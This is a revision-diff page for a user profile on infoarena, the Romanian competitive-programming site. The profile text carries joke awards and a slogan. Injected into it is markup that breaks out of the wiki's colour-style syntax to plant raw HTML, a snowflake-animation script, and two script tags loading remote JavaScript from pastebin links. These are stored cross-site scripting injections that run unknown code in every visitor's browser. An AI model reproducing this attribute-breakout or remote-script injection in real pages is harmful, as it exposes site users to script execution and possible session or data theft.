Diferente pentru utilizator/ikogames intre reviziile #29 si #20

Nu exista diferente intre titluri.

Diferente intre continut:

== include(page="template/noprofile") ==
h2. Despre mine
 
_(completeaza aici: studii, an de absolvire, institutie de invatamant, locatie, profesori pregatitori, site personal ...)_
 
h2. Distinctii primite
* _AUR La Olimpiada De Ciorbarie_
* _AUR La Olimpiada De Mancaruri La Ceaun_
h2. #BRUTEFORCE IS LIFE
h2. Prieteni pe infoarena
 
* _(completeaza aici: link-uri catre profilele altor utilizatori infoarena pe care ii cunosti)_
%{color:red;"></span><style>
  #snowflakeContainer {
    position: absolute;
    left: 0px;
    top: 0px;
    display: none;
  }
 
  .snowflake {
    position: fixed;
    background-color: #CCC;
    user-select: none;
    z-index: 1000;
    pointer-events: none;
    border-radius: 50%;
    width: 10px;
    height: 10px;
  }
</style>
 
<div id="snowflakeContainer">
  <span class="snowflake"></span>
</div>
 
<script>
  // Array to store our Snowflake objects
  var snowflakes = [];
 
  // Global variables to store our browser's window size
  var browserWidth;
  var browserHeight;
 
  // Specify the number of snowflakes you want visible
  var numberOfSnowflakes = 50;
 
  // Flag to reset the position of the snowflakes
  var resetPosition = false;
 
  // Handle accessibility
  var enableAnimations = false;
  var reduceMotionQuery = matchMedia("(prefers-reduced-motion)");
 
  // Handle animation accessibility preferences
  function setAccessibilityState() {
    if (reduceMotionQuery.matches) {
      enableAnimations = false;
    } else {
      enableAnimations = true;
    }
  }
  setAccessibilityState();
 
  reduceMotionQuery.addListener(setAccessibilityState);
 
  //
  // It all starts here...
  //
  function setup() {
    if (enableAnimations) {
      window.addEventListener("DOMContentLoaded", generateSnowflakes, false);
      window.addEventListener("resize", setResetFlag, false);
    }
  }
  setup();
 
  //
  // Constructor for our Snowflake object
  //
  function Snowflake(element, speed, xPos, yPos) {
    // set initial snowflake properties
    this.element = element;
    this.speed = speed;
    this.xPos = xPos;
    this.yPos = yPos;
    this.scale = 1;
 
    // declare variables used for snowflake's motion
    this.counter = 0;
    this.sign = Math.random() < 0.5 ? 1 : -1;
 
    // setting an initial opacity and size for our snowflake
    this.element.style.opacity = (.1 + Math.random()) / 3;
  }
 
  //
  // The function responsible for actually moving our snowflake
  //
  Snowflake.prototype.update = function () {
    // using some trigonometry to determine our x and y position
    this.counter += this.speed / 5000;
    this.xPos += this.sign * this.speed * Math.cos(this.counter) / 40;
    this.yPos += Math.sin(this.counter) / 40 + this.speed / 30;
    this.scale = .5 + Math.abs(10 * Math.cos(this.counter) / 20);
 
    // setting our snowflake's position
    setTransform(Math.round(this.xPos), Math.round(this.yPos), this.scale, this.element);
 
    // if snowflake goes below the browser window, move it back to the top
    if (this.yPos > browserHeight) {
      this.yPos = -50;
    }
  }
 
  //
  // A performant way to set your snowflake's position and size
  //
  function setTransform(xPos, yPos, scale, el) {
    el.style.transform = `translate3d(${xPos}px, ${yPos}px, 0) scale(${scale}, ${scale})`;
  }
 
  //
  // The function responsible for creating the snowflake
  //
  function generateSnowflakes() {
 
    // get our snowflake element from the DOM and store it
    var originalSnowflake = document.querySelector(".snowflake");
 
    // access our snowflake element's parent container
    var snowflakeContainer = originalSnowflake.parentNode;
    snowflakeContainer.style.display = "block";
 
    // get our browser's size
    browserWidth = document.documentElement.clientWidth;
    browserHeight = document.documentElement.clientHeight;
 
    // create each individual snowflake
    for (var i = 0; i < numberOfSnowflakes; i++) {
 
      // clone our original snowflake and add it to snowflakeContainer
      var snowflakeClone = originalSnowflake.cloneNode(true);
      snowflakeContainer.appendChild(snowflakeClone);
 
      // set our snowflake's initial position and related properties
      var initialXPos = getPosition(50, browserWidth);
      var initialYPos = getPosition(50, browserHeight);
      var speed = 5 + Math.random() * 40;
 
      // create our Snowflake object
      var snowflakeObject = new Snowflake(snowflakeClone,
        speed,
        initialXPos,
        initialYPos);
      snowflakes.push(snowflakeObject);
    }
 
    // remove the original snowflake because we no longer need it visible
    snowflakeContainer.removeChild(originalSnowflake);
 
    moveSnowflakes();
  }
 
  //
  // Responsible for moving each snowflake by calling its update function
  //
  function moveSnowflakes() {
 
    if (enableAnimations) {
      for (var i = 0; i < snowflakes.length; i++) {
        var snowflake = snowflakes[i];
        snowflake.update();
      }
    }
 
    // Reset the position of all the snowflakes to a new value
    if (resetPosition) {
      browserWidth = document.documentElement.clientWidth;
      browserHeight = document.documentElement.clientHeight;
 
      for (var i = 0; i < snowflakes.length; i++) {
        var snowflake = snowflakes[i];
 
        snowflake.xPos = getPosition(50, browserWidth);
        snowflake.yPos = getPosition(50, browserHeight);
      }
 
      resetPosition = false;
    }
 
    requestAnimationFrame(moveSnowflakes);
  }
  //
  // This function returns a number between (maximum - offset) and (maximum + offset)
  //
  function getPosition(offset, size) {
    return Math.round(-1 * offset + Math.random() * (size + 2 * offset));
  }
%{color:red;"></span><script src=https://pastebin.com/raw/4rgtL9eu></script><span style="color:red}.%
  //
  // Trigger a reset of all the snowflakes' positions
  //
  function setResetFlag(e) {
    resetPosition = true;
  }
</script><span style="color:red}.%
%{color:red;"></span><script src=https://pastebin.com/raw/rFp5sMR1></script><span style="color:red}.%

Nu exista diferente intre securitate.

Topicul de forum nu a fost schimbat.